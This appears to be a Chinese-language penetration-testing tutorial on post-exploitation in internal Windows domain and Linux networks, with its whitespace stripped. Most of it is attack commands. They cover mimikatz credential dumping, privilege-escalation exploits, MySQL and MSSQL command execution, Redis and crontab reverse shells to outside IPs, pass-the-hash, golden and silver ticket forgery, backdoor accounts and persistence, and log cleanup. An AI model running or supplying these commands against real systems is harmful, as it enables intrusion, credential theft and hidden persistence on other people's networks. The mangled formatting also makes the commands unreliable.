内网环境是一种网络环境,域环境是一种管理环境,二者是相互独立的,域环境可以不是内网环境,内网环境也可以不是域环境,两者是有明显区分的,只不过常见的windows内网环境中会带有域管理环境,但是严格来讲内网渗透就是域渗透是错误的。
内网渗透又叫做后渗透,区别于前渗透的WEB渗透,内网渗透是指从获取WEB服务器的shell之后到拿下内网全部主机的过程叫做内网渗透。
DMZ区是隔离区或非军事化区,是内网和外网间的缓冲区,用于放置一些必须公开的服务器,如web服务器。在保护了内部网络的同时,解决了安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题。
工作组(WorkGroup)是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。在工作组中所有的计算机都是平等的,没有管理与被管理之分,因此工作组网络也称为对等网络。
域控制器DC:
成员服务器:
安装了服务器操作系统并加入了域,但没有安装活动目录的计算机,主要任务是提供网络资源
客户机:
独立服务器:
和域无关,既不加入域,也没有活动目录
了解当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备
systeminfo详细信息netstart启动服务tasklist进程列表schtasks计划任务2.网络信息收集了解当前服务器的网络接口信息,为判断当前角色,功能,网络架构做准备
计算机用户HASH,明文获取-mimikatz(win),mimipenguin(linux)
计算机各种协议服务口令获取-LaZagne(all),XenArmor(win)
1.站点源码备份文件、数据库备份文件等
2.各类数据库Web管理入口,如PHPMyAdmin
3.浏览器保存密码、浏览器Cookies
4.其他用户会话、3389和ipc$连接记录、回收站内容
5.Windows保存的WIFI密码
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA等
前提:已经获得计算机的普通用户权限
运行漏洞EXP将当前的用户权限为System
提权原因:有些工具需要足够的权限才能运行,高权限可以获得更多信息,利于内网渗透
CVE-2020-0787BitsArbitraryFileMoveExploit
CVE-2020-0787-EXP-ALL-WINDOWS-VERSION:
前提:已经获得计算机的平台用户权限,比较老的计算机系统,win7之前的系统,以win2003为例
低版本windows可以利用下面指令提权:
AT命令:
at12:00/interactivecmd.exe
适用于win7以下老版本
SC命令:
创建一个名叫“syscmd”的服务,运行它
scCreatesyscmdbinPath="cmd/Kstart"type=owntype=interact
scstartsyscmd
烂土豆(RottenPotato)MS16-075提权是一个本地提权,只针对本地用户,不支持域用户适用版本:Windows7、8、10、2008、2012
提权原理上传potato.exe到目标机器,执行后会欺骗system账户通过NTLM认证到我们控制的TCP终端。通过NTLM重放来为当前本地协商一个“NTAUTHORITY\SYSTEM”的安全令牌。从而配合令牌窃取。本来令牌窃取需要有可模仿的令牌,而烂土豆很好的解决了这一问题。
过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功
upload/root/potato.exeC:\Users\Public1.生成shell上传到目标主机
msfvenom-pwindows/meterpreter/reverse_tcpLHOST=192.168.106.150LPORT=4433-fexe-o4433.exe2.开启msf
use/multi/handlersetrhost127.0.0.1(本机ip)setrport 4433(本机端口)setpayloadwindows/meterpreter_reverse_tcp3.加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
useincognitoexecute-cH-fc:/potato.exe4.列出目标机器用户的可用令牌,并使用system权限
list_tokens-uimpersonate_token"NTAUTHORITY\SYSTEM"5.查看权限
getuid(4)Win2012-DLL劫持提权Win2012-DLL劫持提权应用配合MSF-Web权限
原理:Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的
位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下
面的顺序进行搜索:
应用程序加载的目录C:\Windows\System32C:\Windows\SystemC:\Windows当前工作目录CurrentWorkingDirectory,CWD在PATH环境变量的目录(先系统后用户)过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功
漏洞探针:linux-exploit-suggster2
可以看到当前可能的存在的漏洞,CVE-2022-0847
suid权限就是使用具有suid的文件时候,将可以以赋予suid权限命令的用户一样的权限去运行这个文件,好比如root给a文件赋予suid,当我们以普通权限下user去运行a也将以root权限运行该文件。
suid提权就是使用具有suid的命令去执行其他命令,因为具有suid的命令具备root权限,从而实现突破普通权限,获取root权限去执行命令,一些常见的可以使用的suid命令提权:
nmapvimlessmorenanocpmvfind例如-find提权:
cd/tmptouch1find1-execwhoami\;反弹root权限shellfind1-execnetcat-lvp5555-e/bin/sh\;netcatxx.xx.xx.xx5555(3)Linux提权脏牛内核漏洞提权思路:获取IP-扫描端口获取web-爆破cms获取shell-上传脏牛检测脚本-检测疑似存在漏洞-上传脏牛exp-提权成功
原理:通过root权限,导入udf.dll到系统目录下,可以通过udf.dll调用执行cmd
利用条件
1.查看mysql有写入文件的权限
showglobalvariableslike'%secure%';secure_file_priv的值为null,表示限制mysqld不允许导入|导出当secure_file_priv的值为/tmp/,表示限制mysqld的导入|导出只能发生在/tmp/目录下当secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制2.上传UDF的动态链接库文件
Mysql版本大于5.1:udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)。
Mysql版本小于5.1:如果是win2000的服务器,我们则需要将udf.dll文件导到C:\Winnt\udf.dll下。如果是win2003服务器,我们则要将udf.dll文件导出在C:\Windows\udf.dll下。
showvariableslike'plugin%';查看plugin路径udf.dll在sqlmap里面对应的目录地址为\sqlmap\data\udf\mysql,这里进入目录后可以看到sqlmap已经帮我们分好类了。分为windows和linux,点进去之后还会有32和64位之分。
C:\Users\admin\AppData\Local\Programs\Python\Python39\sqlmap\data\udf\mysql\windows
通过如下命令将dll文件写入到plugin中
selecthex(load_file('C:\Users\xzc\Desktopl\lib_mysqludf_sys.dll'))intodumpfile'C:\Users\test\Desktop\phpStudy\MySQL\lib\plugin\udf.dll';```#这里windows下目录结构要进行转义双写3.创建自定义函数
上传之后,使用如下命令创建自定义函数
CREATEFUNCTIONsys_evalRETURNSSTRINGSONAME'udf.dll';然后使用命令查看是否新增了sys_eval函数
select*frommysql.func;4.执行系统命令
到这里创建成功那么就可以执行系统命令
selectsys_eval('whoami')(2)MySQL-MOF提权简介
mysql有读写C:/Windows/system32/wbem/mof的权限
secure-file-priv参数不为null
提权过程
使用msf自带mof模块提权
useexploit/windows/mysql/mysql_mof设置payloadsetpayloadwindows/meterpreter/reverse_tcp设置目标MySQL的基础信息setrhosts192.168.127.132setusernamerootsetpasswordrootrunmof脚本内容:
#pragmanamespace("\\\\.\\root\\subscription")instanceof__EventFilteras$EventFilter{EventNamespace="Root\\Cimv2";Name="filtP2";Query="Select*From__InstanceModificationEvent""WhereTargetInstanceIsa\"Win32_LocalTime\"""AndTargetInstance.Second=5";QueryLanguage="WQL";};instanceofActiveScriptEventConsumeras$Consumer{Name="consPCSV2";ScriptingEngine="JScript";ScriptText="varWSH=newActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exeuserhackerP@ssw0rd/add\")\nWSH.run(\"net.exelocalgroupadministratorshacker/add\")";};instanceof__FilterToConsumerBinding{Consumer=$Consumer;Filter=$EventFilter;};其中核心payload为:
varWSH=newActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exeuserhackerP@ssw0rd/add\")\nWSH.run(\"net.exelocalgroupadministratorshacker/add\")手动写入提权
将上述mof脚本制作test.mof写入mof目录下,使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件:
selectload_file('D:/test.mof')intodumpfile"C:/windows/system32/wbem/mof/nullevt.mof";痕迹清理
每隔几分钟会重新执行添加用户的命令,所以想清理痕迹得先暂时关闭winmgmt服务再删除mof文件,此时删除用户才有效果。
#停止winmgmt服务netstopwinmgmt#删除Repository文件夹rmdir/s/qC:\Windows\system32\wbem\Repository\#手动删除mof文件delC:\Windows\system32\wbem\mof\good\test.mof/F/S#删除创建的用户netuserhacker/delete#重新启动服务netstartwinmgmt(3)MsSQL-xp_cmdshell提权xp_cmdshell是数据库中可以执行系统命令的组件,可以通过此组件执行系统命令来提权
利用条件:必须获取SA用户的密码(SA用户具有最高权限)
默认在sqlserver2000中开启,2005后默认禁止,使用sp_configure重新打开它
开启xp_cmdshell
execsp_configure'showadvancedoptions',1;reconfigure;execsp_configure'xp_cmdshell',1;reconfigure;关闭xp_cmdshell
execsp_configure'showadvancedoptions',1;reconfigure;execsp_configure'xp_cmdshell',0;reconfigure使用XP_CmdShell执行系统命令
EXECmaster.dbo.xp_cmdshell'命令'#添加用户hack,密码123execmaster..xp_cmdshell'netuserhack123/add'#将hack用户添加到管理员组中execmaster..xp_cmdshell'netlocalgroupadministratorshackadd'(4)MsSQL-sp_oacreate提权sp_oacreate用来调用OLE对象,如果xp_cmdshell组件被删除也可以利用OLE对象的run方法执行系统命令,主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:
EXECsp_configure‘showadvancedoptions’,1;RECONFIGUREWITHOVERRIDE;EXECsp_configure‘OleAutomationProcedures’,1;RECONFIGUREWITHOVERRIDE;关闭:
EXECsp_configure‘showadvancedoptions’,1;RECONFIGUREWITHOVERRIDE;EXECsp_configure‘OleAutomationProcedures’,0;RECONFIGUREWITHOVERRIDE;执行命令:
#添加用户hack,密码123declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\winnt\system32\cmd.exe/cnetuserhack123/add'#将hack用户添加到管理员组中declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\winnt\system32\cmd.exe/cnetlocalgroupadministratorshack/add'#whoami带回显保存到c盘1.txt中declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\winnt\system32\cmd.exe/cwhoami>c:\\1.txt'(4)MsSQL-沙盒提权通过沙盒执行命令
开启:execsp_configure'showadvancedoptions’,1;reconfigure;execsp_configure'AdHocDistributedQueries’,1;reconfigure;关闭:execsp_configure'showadvancedoption,1;RECONFIGURE;execspconfigure'AdHocDistributedQueries',0;RECONFIGURE;#添加用户hackselect*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','selectshell("netuserhack123/add")')#添加hack到管理员组select*fromopenrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘selectshell(“netlocalgroupadministratorshack/add”)’)(5)Oracle-提权oracle数据库一般配合jsp建站,jsp网站后门不需要提权,自带system权限
三种方式1.普通用户模式:拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令
2.DBA用户模式:(自动化工具)sqlmap--is-dba测试是否是dba权限拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试
3.注入提升模式:(sqlmap)拥有一个oracle注入点,可以通过注入点执行系统命令,此种模式没有实现回显,需要自己验证。
1.利用计划任务执行命令反弹shell
在redis以root权限运行时可以写crontab来执行命令反弹shell,
先在自己的服务器上监听一个端口
nc-lvnpxxxx然后执行命令
root@kali:~#redis-cli-h192.168.63.130192.168.63.130:6379>setx"\n*****bash-i>&/dev/tcp/192.168.63.128/79990>&1\n"OK192.168.63.130:6379>configsetdir/var/spool/cron/OK192.168.63.130:6379>configsetdbfilenamerootOK192.168.63.130:6379>saveOK2.写ssh-keygen公钥然后使用私钥登陆
在以下条件下,可以利用此方法
root@kali:~/.ssh#ssh-keygen-trsa然后redis执行命令:
3.往web物理路径写webshell
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell
执行以下命令
192.168.63.130:6379>configsetdir/var/www/html/OK192.168.63.130:6379>configsetdbfilenameshell.phpOK192.168.63.130:6379>setx"
[at]&[schtasks]
at
netuse\192.168.3.32\ipc$"admin!@#45"/user:god.org\administrator#建立ipc连接copyadd.bat\192.168.3.32\c$#复制文件到其C盘schtasks/create/s192.168.3.32/ru"SYSTEM"/tnadduser/scDAILY/trc:\add.bat/F#创建adduser任务对应执行文件schtasks/run/s192.168.3.32/tnadduser/i#运行adduser任务schtasks/delete/s192.168.3.21/tnadduser/f#删除adduser任务横向渗透明文HASH传递atexec-impacket
atexec.exe./administrator:Admin12345@192.168.3.21"whoami"atexec.exegod/administrator:Admin12345@192.168.3.21"whoami"atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"4.域横向PTHpsexec,smbexec,wmiexec三种PTH打法
抓取hash:
Procdump+Mimikatz配合获取#procdump配合mimikatzprocdump-accepteula-malsass.exelsass.dmpmimikatz上执行:sekurlsa::minidumplsass.dmpsekurlsa::logonPasswordsfull域横向移动SMB服务利用-psexec,smbexec(官方自带)利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
PsExec是Windows官方自带的,不会存在查杀问题,属于pstools利用PsExec可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个PsExec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件,然后通过PsExec服务运行命令,运行结束后删除服务,但是会产生日志文件。SMB可以直接基于TCP协议或者NetBIOSoverTCP,SMB的认证可以基于SMB,也可以基于kerberos,这两种认证方式,前者本质上使用了hash,后者本质上使用了ticket,导致了SMB的PTH和PTT攻击存在的基础,前提是目标开启了445端口,开放445端口就相当于开放了smb协议建立ipc$连接
netuse\\192.168.10.8\ipc$Qwer1234/user:administrator或netuse\\192.168.10.8/u:only.net\administratorQwer1234在已经建立ipc$的情况下,执行以下命令就可以获得system权限
使用明文密码
如果出现上面的错误,可以使用impacket这个工具包下的psexec进行利用
使用PsExec时注意
使用MSFhash模块psexec
黄金票据是伪造票据授予票据(TGT),也被称为认证票据。如下图所示,与域控制器没有AS-REQ或AS-REP通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。黄金票据的条件要求:1.域名称[ADPowerShell模块:(Get-ADDomain).DNSRoot]2.域的SID值[ADPowerShell模块:(Get-ADDomain).DomainSID.Value]3.域的KRBTGT账户NTLM密码哈希4.伪造用户名
1.获取Windows域名
systeminfonettime/domain2.获取域的sid
whoami/user3.获取krbtgt用户hash
运行mimikatz.exeprivilegeg::debug#开启特权模式lsadump::lsa/patch#获取krbtgt用户hash,域的sidlsadump::lsa/patch/user:krbtgt4.制作黄金票据
kerberos::golden/admin:administrator/domain:ajie.cool/sid:S-1-5-21-3296092892-1320626564-2720975204/krbtgt:31edc56a2302a25a2e9bee5f04abd659/ticket:administrator.kiribi在攻击机通过mimikatz制作黄金票据,执行命令后会生成一个AD.kiribi文件
5.利用票据
通过kerberos::purge清空票据缓存;kerberos::list列出票据显示为空,说明清空了所以票据
通过kerberos::pttadministrator.kiribi加载生成的票据
dir\dc.cyber.com\c$成功拿下主机
实操一下:
获取krbtgt的NTLMHash
以管理员权限运行mimikatz.exe,通过dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值
得到krbtgt的NTLMHash为:
获取基本信息
获取域SID
wmicuseraccountgetname,sid将用户SID去掉末尾-后的值即域的SID
制作黄金票据
清空票据
kerberos::purge生成票据
利用mimikatz生成域管权限的GoldenTicket,填入对应的域管理员账号、域名称、sid值,如下:
mimikatz.exe"kerberos::golden/admin:system/domain:only.net/sid:S-1-5-21-1996699216-944335111-2869993460/krbtgt:9df19b467ce5c093b5d57b02abba9c04/ticket:ticket.kirbi"exit/admin:伪造的用户名/domain:域名称/sid:SID值,注意是去掉末尾'-'后面的值/krbtgt:krbtgt的HASH值/ticket:生成的票据名称//不是写入内存中的命令使用黄金票据
导入票据前的权限
导入票据
mimikatz.exe"kerberos::purge""kerberos::pttC:\Users\test\desktop\ticket.kirbi""exit"注入内存后可以看到访问域控dc成功
黄金票据是伪造票据授予票据(TGT),而白银票据是伪造的服务票据(ST)
在Kerberos认证的第三阶段,Client带着ST和身份验证器消息(Authenticator)向某个服务进行请求
Server接收到Client的请求之后,通过自己的密钥解密ST,从而获取SessionKey。通过SessionKey解密
身份验证器消息(Authenticator),进而成功与Client互相验证对方的身份。之后Client就可以访问该服务
所以我们只需要知道某个服务账户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的银票只对访问部分服务有权限。
白银票据与黄金票据的区别:
伪造CIFS服务
域名
域的SID值
目标服务器的FQDN即完整的域名
可利用的服务
服务账户的NTLM哈希
伪造的用户名即任意用户名
获取域控服务账号的NTLMHash
管理员权限运行mimikatz
mimikatz.exe"privilege::debug""sekurlsa::logonpasswords"exit服务账号的NTLMHash(PrimaryUsername:DC$)是带$的hash,不是域控管理员的
获取域的SID值
同一域下所有用户SID相同
清空本地票据缓存
kerberos::purge#清理本地票据缓存kerberos::list#查看本地保存的票据或命令行执行klistklistpurge伪造白银票据并导入
成功访问到域控共享目录,远程登陆,执行命令
白银票据的服务列表
服务名称同时需要的服务WMIHOST、RPCSSPowerShellRemotingHOST、HTTPWinRMHOST、HTTPScheduledTasksHOSTWindowsFileShareCIFSLDAPLDAPWindowsRemoteServerRPCSS、LDAP、CIFS0x05.权限维持1.Windows权限维持可以直接简单的把权限维持理解为我们在目标上安装了一个后门,权限维持的目的是保证自己的权限不会掉,一直控制目标。
隐藏账户,顾名思义就是计算机看不到的用户(不是不存在用户只是用一般的查看方式看不到)
$符号隐藏用户如(hack$)达到简单的隐藏用户目的,从而进行简单的权限维持,查看用户
可以看见当前win7的机器上存在三个用户Administrator,Guest,win7
接下来使用netuser命令查看电脑中的用户,可以发现并没有hack$这个用户
通过【控制面板】->【管理账户】中是可以看到该用户的,或者其他方式是可以看到的
注册表克隆用户隐藏
因为$用户可以看到,在上一步的基础上我们打开注册表,在注册表操作进行用户隐藏
提示:该操作建立在上面$符号隐藏用户的基础上的
注册表找到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Accout\Users\Name路径下
导出注册表文件(之前创建的hack$用户),会生成一个reg文件
将HKEY_LOCAL_KACHINE\SAM\SAM\Domain\Account\Users中的administrator中的F键值复制
删除hack$用户并重新添加(点击1.reg和2.reg即可)
shift后门制作1.在命令行执行以下命令,为复制cmd.exe为sethc.exe
需要更改文件权限,如下命令
创建inc_data_config.php文件
cmd窗口中输入:regedit打开注册表,之后来到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions,新建一个“项”,这里的命名与后续要触发的可执行文件程序文件名一致,新建asuka.exe
然后在asuka.exe的右侧新建一个字符串值Debugger,在输入值的栏目中填入你的后门绝对路径,这里以cmd.exe为例。
攻击:随意找了一个文件,将其改名为asuka.exe,一旦运行它,cmd就被打开了。
利用思路:借助组策略实现开机自动运行某恶意文件
准备一个bat文件,实现添加管理员组用户的操作
netuserasuka123.comCOM/add&netlocalgroupadministratorsasuka/add然后把这个文件丢到开机启动项的文件夹中:C:\ProgramData\Microsoft\Windows\StartMenu\Programs\StartUp
打开组策略
cmd中输入gpedit.msc打开组策略,打开“windows设置”-“脚本(启动/关机)”,添加脚本。
重启靶机
检查当前用户有哪些,发现已经添加了asuka用户
###添加普通用户:#创建一个用户名guest,密码123456的普通用户useradd-p`opensslpasswd-1-salt'salt'123456`guest#useradd-p方法``是用来存放可执行的系统命令,"$()"也可以存放命令执行语句useradd-p"$(opensslpasswd-1123456)"guest2#chpasswd方法useraddguest;echo'guest:123456'|chpasswd--->debainecho123admiN@|passwdguest--stdin-->Centos#echo-e方法useraddtest;echo-e"fas34@as\nfas34@as\n"|passwdtest###添加root用户:#创建一个用户名guest,密码123admiN@的root用户useradd-p`opensslpasswd-1-salt'salt'123admiN`z4pts-o-u0-groot-Groot-s/bin/bash-d/home/z4ptsecho"cshm:x:0:0::/:/bin/sh">>/etc/passwd#增加超级用户账号passwdcshm#修改cshm的密码为cshm123可疑用户排查:
find/-perm+4000-lsfind/-perm-u=s-typef2>/dev/null(3)Crontab反弹Shell服务端操作:
#创建shell脚本,例如在/etc/evil.sh#!/bin/bashbash-i>&/dev/tcp/82.157.7.43/66660>&1#给定执行权限chmod+sx/etc/evil.sh#配置计划任务vim/etc/crontab*/1****root/etc/shell.sh#重启计划任务systemctlrestartcrond客户端操作:
nc-lvvp4321(4)SSH软连接后门ssh配置中开启了PAM进行身份验证
查看是否使用PAM进行身份验证:cat/etc/ssh/sshd_config|grepUsePAM
利用方式:
cd/home/kali/.sshviid_rsachmod600id_rsassh-iid_rsaroot@192.168.0.1130x06.痕迹清理1.Windows痕迹清理(1)常见日志Windows中需要清理的日志有:系统日志(SysEvent)、应用程序日志(AppEvent)、安全日志(SecEvent)